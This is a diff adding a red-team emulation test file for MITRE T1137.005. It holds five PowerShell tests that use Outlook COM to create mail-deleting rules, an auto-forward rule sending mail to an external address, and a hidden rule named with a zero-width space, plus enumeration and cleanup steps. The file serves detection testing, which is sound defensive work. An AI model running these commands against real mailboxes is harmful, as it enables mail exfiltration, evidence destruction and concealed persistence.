diff --git a/atomics/T1137.005/T1137.005.yaml b/atomics/T1137.005/T1137.005.yaml new file mode 100644 index 000000000..35539e459 --- /dev/null +++ b/atomics/T1137.005/T1137.005.yaml @@ -0,0 +1,430 @@ +attack_technique: T1137.005 +display_name: "Office Application Startup: Outlook Rules" + +atomic_tests: + +# ============================================================ +# TEST 1 — COM Object: Rule Triggers on Subject Keyword +# ============================================================ +- name: Outlook Rule - Subject Trigger with DeletePermanently Action via COM Object + auto_generated_guid: + description: | + Creates a malicious Outlook rule via the COM object that permanently deletes + emails when an email with a specific subject keyword arrives. Simulates + adversary persistence via Outlook Rules (T1137.005). Uses DeletePermanently + action as it does not require a resolved Exchange folder unlike MoveToFolder. + NOTE: olRuleActionStartApplication cannot be created programmatically per + Microsoft's Rules object model - DeletePermanently is used as the supported + equivalent that generates the same rule-creation artefact. + NOTE: This test MUST be run from a non-elevated (standard user) PowerShell + session. Outlook COM fails with 0x80080005 when invoked as Administrator. + supported_platforms: + - windows + input_arguments: + rule_name: + description: Name for the malicious Outlook rule + type: string + default: AtomicTest_T1137005_SubjectTrigger + trigger_subject: + description: Email subject keyword that triggers the rule + type: string + default: "atomic-rt-trigger" + dependencies: + - description: Classic Outlook must be installed (required for COM automation) + prereq_command: | + $clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)' + if ($clsid) { exit 0 } else { exit 1 } + get_prereq_command: | + Write-Host "[-] Classic Outlook is not installed or COM is not registered." + Write-Host " Install Microsoft 365 Apps with Classic Outlook before running this test." + Write-Host " Note: The new Outlook for Windows does NOT support COM automation." + exit 1 + executor: + name: powershell + elevation_required: false + command: | + $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") + if ($isAdmin) { + Write-Host "[-] This test must be run from a non-elevated PowerShell session." + Write-Host " Outlook COM fails with 0x80080005 when run as Administrator." + exit 1 + } + + $outlook = New-Object -ComObject Outlook.Application + $namespace = $outlook.GetNamespace("MAPI") + $rules = $namespace.DefaultStore.GetRules() + $rule = $rules.Create("#{rule_name}", 0) + + $cond = $rule.Conditions.Subject + $cond.Enabled = $true + $cond.Text = @("#{trigger_subject}") + + $action = $rule.Actions.DeletePermanently + $action.Enabled = $true + + $rule.Enabled = $true + $rules.Save() + Write-Host "[+] Rule '#{rule_name}' created. Emails with subject '#{trigger_subject}' will be permanently deleted." + cleanup_command: | + $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") + if ($isAdmin) { + Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping." + exit 1 + } + $outlook = New-Object -ComObject Outlook.Application + $namespace = $outlook.GetNamespace("MAPI") + $rules = $namespace.DefaultStore.GetRules() + $removed = $false + for ($i = $rules.Count; $i -ge 1; $i--) { + if ($rules.Item($i).Name -eq "#{rule_name}") { + $rules.Remove($rules.Item($i).Name) + $removed = $true + } + } + if ($removed) { + $rules.Save() + Write-Host "[+] All instances of rule '#{rule_name}' removed." + } else { + Write-Host "[*] Rule '#{rule_name}' not found - already removed." + } + + +# ============================================================ +# TEST 2 — COM Object: Rule Triggers on Sender Address +# ============================================================ +- name: Outlook Rule - Sender Address Trigger with DeletePermanently Action via COM Object + auto_generated_guid: + description: | + Creates an Outlook rule via COM that permanently deletes emails received + from a specific sender address. Adversaries use sender-based triggers to + make rules appear more legitimate (e.g. disguised as a filter for a + specific colleague). Tests a different rule condition path through the + COM object model. Uses DeletePermanently as it does not require a resolved + Exchange folder unlike MoveToFolder. + NOTE: This test MUST be run from a non-elevated (standard user) PowerShell + session. Outlook COM fails with 0x80080005 when invoked as Administrator. + supported_platforms: + - windows + input_arguments: + rule_name: + description: Name for the malicious Outlook rule + type: string + default: AtomicTest_T1137005_SenderTrigger + trigger_sender: + description: Sender email address that triggers the rule + type: string + default: "atomictest@redteam.local" + dependencies: + - description: Classic Outlook must be installed (required for COM automation) + prereq_command: | + $clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)' + if ($clsid) { exit 0 } else { exit 1 } + get_prereq_command: | + Write-Host "[-] Classic Outlook is not installed or COM is not registered." + Write-Host " Install Microsoft 365 Apps with Classic Outlook before running this test." + Write-Host " Note: The new Outlook for Windows does NOT support COM automation." + exit 1 + executor: + name: powershell + elevation_required: false + command: | + $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") + if ($isAdmin) { + Write-Host "[-] This test must be run from a non-elevated PowerShell session." + Write-Host " Outlook COM fails with 0x80080005 when run as Administrator." + exit 1 + } + + $outlook = New-Object -ComObject Outlook.Application + $namespace = $outlook.GetNamespace("MAPI") + $rules = $namespace.DefaultStore.GetRules() + $rule = $rules.Create("#{rule_name}", 0) + + $cond = $rule.Conditions.From + $cond.Enabled = $true + $cond.Recipients.Add("#{trigger_sender}") + $cond.Recipients.ResolveAll() | Out-Null + + $action = $rule.Actions.DeletePermanently + $action.Enabled = $true + + $rule.Enabled = $true + $rules.Save() + Write-Host "[+] Sender-based rule '#{rule_name}' created. Emails from '#{trigger_sender}' will be permanently deleted." + cleanup_command: | + $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") + if ($isAdmin) { + Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping." + exit 1 + } + $outlook = New-Object -ComObject Outlook.Application + $namespace = $outlook.GetNamespace("MAPI") + $rules = $namespace.DefaultStore.GetRules() + $removed = $false + for ($i = $rules.Count; $i -ge 1; $i--) { + if ($rules.Item($i).Name -eq "#{rule_name}") { + $rules.Remove($rules.Item($i).Name) + $removed = $true + } + } + if ($removed) { + $rules.Save() + Write-Host "[+] All instances of rule '#{rule_name}' removed." + } else { + Write-Host "[*] Rule '#{rule_name}' not found - already removed." + } + + +# ============================================================ +# TEST 3 — COM Object: Auto-Forward Rule (Exfiltration) +# ============================================================ +- name: Outlook Rule - Auto-Forward Emails to External Address via COM Object + auto_generated_guid: + description: | + Creates an Outlook rule that automatically forwards all received emails to + an external address. Simulates Business Email Compromise (BEC) and insider + threat scenarios where adversaries establish forwarding rules to exfiltrate + mail. One of the most commonly observed real-world abuses of Outlook rules. + Detected by Exchange mail flow anomalies and Microsoft Secure Score + forwarding alerts. + NOTE: No actual email is forwarded during this test - the rule is created + but a trigger email is not sent. Run cleanup immediately after verification. + NOTE: This test MUST be run from a non-elevated (standard user) PowerShell + session. Outlook COM fails with 0x80080005 when invoked as Administrator. + supported_platforms: + - windows + input_arguments: + rule_name: + description: Name for the forwarding rule + type: string + default: AtomicTest_T1137005_ForwardExfil + forward_to_address: + description: Email address to forward mail to (use a controlled test address) + type: string + default: "atomictest-exfil@redteam.local" + dependencies: + - description: Classic Outlook must be installed (required for COM automation) + prereq_command: | + $clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)' + if ($clsid) { exit 0 } else { exit 1 } + get_prereq_command: | + Write-Host "[-] Classic Outlook is not installed or COM is not registered." + Write-Host " Install Microsoft 365 Apps with Classic Outlook before running this test." + Write-Host " Note: The new Outlook for Windows does NOT support COM automation." + exit 1 + executor: + name: powershell + elevation_required: false + command: | + $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") + if ($isAdmin) { + Write-Host "[-] This test must be run from a non-elevated PowerShell session." + Write-Host " Outlook COM fails with 0x80080005 when run as Administrator." + exit 1 + } + + $outlook = New-Object -ComObject Outlook.Application + $namespace = $outlook.GetNamespace("MAPI") + $rules = $namespace.DefaultStore.GetRules() + $rule = $rules.Create("#{rule_name}", 0) + + $action = $rule.Actions.Forward + $action.Enabled = $true + $action.Recipients.Add("#{forward_to_address}") + $action.Recipients.ResolveAll() | Out-Null + + $rule.Enabled = $true + $rules.Save() + Write-Host "[+] Auto-forward rule '#{rule_name}' created -> #{forward_to_address}" + Write-Host "[!] Run cleanup immediately after verifying rule creation in Outlook." + cleanup_command: | + $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") + if ($isAdmin) { + Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping." + exit 1 + } + $outlook = New-Object -ComObject Outlook.Application + $namespace = $outlook.GetNamespace("MAPI") + $rules = $namespace.DefaultStore.GetRules() + $removed = $false + for ($i = $rules.Count; $i -ge 1; $i--) { + if ($rules.Item($i).Name -eq "#{rule_name}") { + $rules.Remove($rules.Item($i).Name) + $removed = $true + } + } + if ($removed) { + $rules.Save() + Write-Host "[+] All instances of forwarding rule '#{rule_name}' removed." + } else { + Write-Host "[*] Rule '#{rule_name}' not found - already removed." + } + + +# ============================================================ +# TEST 4 — COM Object: Enumerate All Existing Rules (Discovery) +# ============================================================ +- name: Outlook Rules - Enumerate Existing Rules via PowerShell COM Object + auto_generated_guid: + description: | + Enumerates all Outlook rules configured on the local profile using the + PowerShell COM object. Simulates the discovery phase where an adversary + audits existing rules before implanting their own, or where a threat actor + tool such as Ruler lists rules to understand the environment. This + enumeration should itself generate telemetry - use it to validate that + your monitoring catches PowerShell spawning Outlook COM for recon purposes. + NOTE: This test MUST be run from a non-elevated (standard user) PowerShell + session. Outlook COM fails with 0x80080005 when invoked as Administrator. + supported_platforms: + - windows + dependencies: + - description: Classic Outlook must be installed (required for COM automation) + prereq_command: | + $clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)' + if ($clsid) { exit 0 } else { exit 1 } + get_prereq_command: | + Write-Host "[-] Classic Outlook is not installed or COM is not registered." + Write-Host " Install Microsoft 365 Apps with Classic Outlook before running this test." + Write-Host " Note: The new Outlook for Windows does NOT support COM automation." + exit 1 + executor: + name: powershell + elevation_required: false + command: | + $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") + if ($isAdmin) { + Write-Host "[-] This test must be run from a non-elevated PowerShell session." + Write-Host " Outlook COM fails with 0x80080005 when run as Administrator." + exit 1 + } + + $outlook = New-Object -ComObject Outlook.Application + $rules = $outlook.GetNamespace("MAPI").DefaultStore.GetRules() + + Write-Host "`n[*] Enumerating Outlook rules on local profile..." + Write-Host " Total rules found: $($rules.Count)`n" + + for ($i = 1; $i -le $rules.Count; $i++) { + $r = $rules.Item($i) + Write-Host " Rule $i : Name='$($r.Name)' | Enabled=$($r.Enabled)" + } + + if ($rules.Count -eq 0) { + Write-Host " (No rules configured)" + } + cleanup_command: | + Write-Host "[*] No cleanup required for enumeration test." + + + +# ============================================================ +# TEST 5 — Hidden Rule: Obfuscated Name (MAPI Evasion) +# FIX: Write script to a temp .ps1 file and invoke it via +# Start-Process to avoid the ART executor's argument +# quoting mangling the zero-width space byte sequence. +# ============================================================ +- name: Outlook Rule - Create Rule with Obfuscated Blank Name (MAPI Evasion) + auto_generated_guid: + description: | + Creates an Outlook rule with a zero-width space as its display name, + making it appear blank and invisible in the standard Outlook Rules UI. + Simulates the hidden inbox rule technique documented by Damian Pfammatter + (2018) and referenced in MITRE ATT&CK T1137.005 - adversaries use MAPI + editors or Ruler to blank PR_RULE_MSG_NAME so the rule does not appear + during casual rule auditing. Tests whether monitoring catches rules that + are invisible in the Outlook GUI but detectable via MFCMapi or + Get-InboxRule on Exchange. Uses PlaySound action as RunApplication + cannot be created programmatically per Microsoft's Rules object model. + NOTE: This test MUST be run from a non-elevated (standard user) PowerShell + session. Outlook COM fails with 0x80080005 when invoked as Administrator. + NOTE: Script is written to a temp file before execution to prevent the + ART executor's quote-wrapping from mangling the zero-width space bytes. + supported_platforms: + - windows + input_arguments: + trigger_subject: + description: Subject keyword to trigger the hidden rule + type: string + default: "atomic-rt-hidden" + sound_file_path: + description: Path to .wav file used as the rule action payload indicator + type: string + default: "C:\\Windows\\Media\\notify.wav" + dependencies: + - description: Classic Outlook must be installed (required for COM automation) + prereq_command: | + $clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)' + if ($clsid) { exit 0 } else { exit 1 } + get_prereq_command: | + Write-Host "[-] Classic Outlook is not installed or COM is not registered." + Write-Host " Install Microsoft 365 Apps with Classic Outlook before running this test." + Write-Host " Note: The new Outlook for Windows does NOT support COM automation." + exit 1 + - description: Sound file must exist for PlaySound action + prereq_command: | + if (Test-Path "#{sound_file_path}") { exit 0 } else { exit 1 } + get_prereq_command: | + Write-Host "[-] Sound file not found at #{sound_file_path}" + Write-Host " Specify a valid .wav file path in the sound_file_path input argument." + exit 1 + executor: + name: powershell + elevation_required: false + command: | + $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") + if ($isAdmin) { + Write-Host "[-] This test must be run from a non-elevated PowerShell session." + Write-Host " Outlook COM fails with 0x80080005 when run as Administrator." + exit 1 + } + $tmpScript = "$env:TEMP\T1137005_hidden_rule_create.ps1" + $lines = @( + '$hiddenName = [System.Text.Encoding]::Unicode.GetString([byte[]](0x0B, 0x20))', + '$outlook = New-Object -ComObject Outlook.Application', + '$namespace = $outlook.GetNamespace("MAPI")', + '$rules = $namespace.DefaultStore.GetRules()', + '$rule = $rules.Create($hiddenName, 0)', + '$cond = $rule.Conditions.Subject', + '$cond.Enabled = $true', + '$cond.Text = @("#{trigger_subject}")', + '$action = $rule.Actions.PlaySound', + '$action.Enabled = $true', + '$action.FilePath = "#{sound_file_path}"', + '$rule.Enabled = $true', + '$rules.Save()', + 'Write-Host "[+] Hidden rule created with zero-width space name."', + 'Write-Host "[*] Open Outlook via File -> Manage Rules and Alerts - rule name will appear blank."', + 'Write-Host "[*] Verify rule exists via PowerShell COM enumeration (Test 4) or Get-InboxRule in Exchange."' + ) + $lines -join "`n" | Set-Content -Path $tmpScript -Encoding UTF8 + powershell.exe -NoProfile -ExecutionPolicy Bypass -File $tmpScript + Remove-Item $tmpScript -ErrorAction SilentlyContinue + cleanup_command: | + $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator") + if ($isAdmin) { + Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping." + exit 1 + } + $tmpScript = "$env:TEMP\T1137005_hidden_rule_cleanup.ps1" + $lines = @( + '$hiddenName = [System.Text.Encoding]::Unicode.GetString([byte[]](0x0B, 0x20))', + '$outlook = New-Object -ComObject Outlook.Application', + '$namespace = $outlook.GetNamespace("MAPI")', + '$rules = $namespace.DefaultStore.GetRules()', + '$removed = $false', + 'for ($i = $rules.Count; $i -ge 1; $i--) {', + ' if ($rules.Item($i).Name -eq $hiddenName) {', + ' $rules.Remove($rules.Item($i).Name)', + ' $removed = $true', + ' }', + '}', + 'if ($removed) {', + ' $rules.Save()', + ' Write-Host "[+] Hidden rule(s) removed."', + '} else {', + ' Write-Host "[-] Hidden rule not found - may have already been removed."', + '}' + ) + $lines -join "`n" | Set-Content -Path $tmpScript -Encoding UTF8 + powershell.exe -NoProfile -ExecutionPolicy Bypass -File $tmpScript + Remove-Item $tmpScript -ErrorAction SilentlyContinue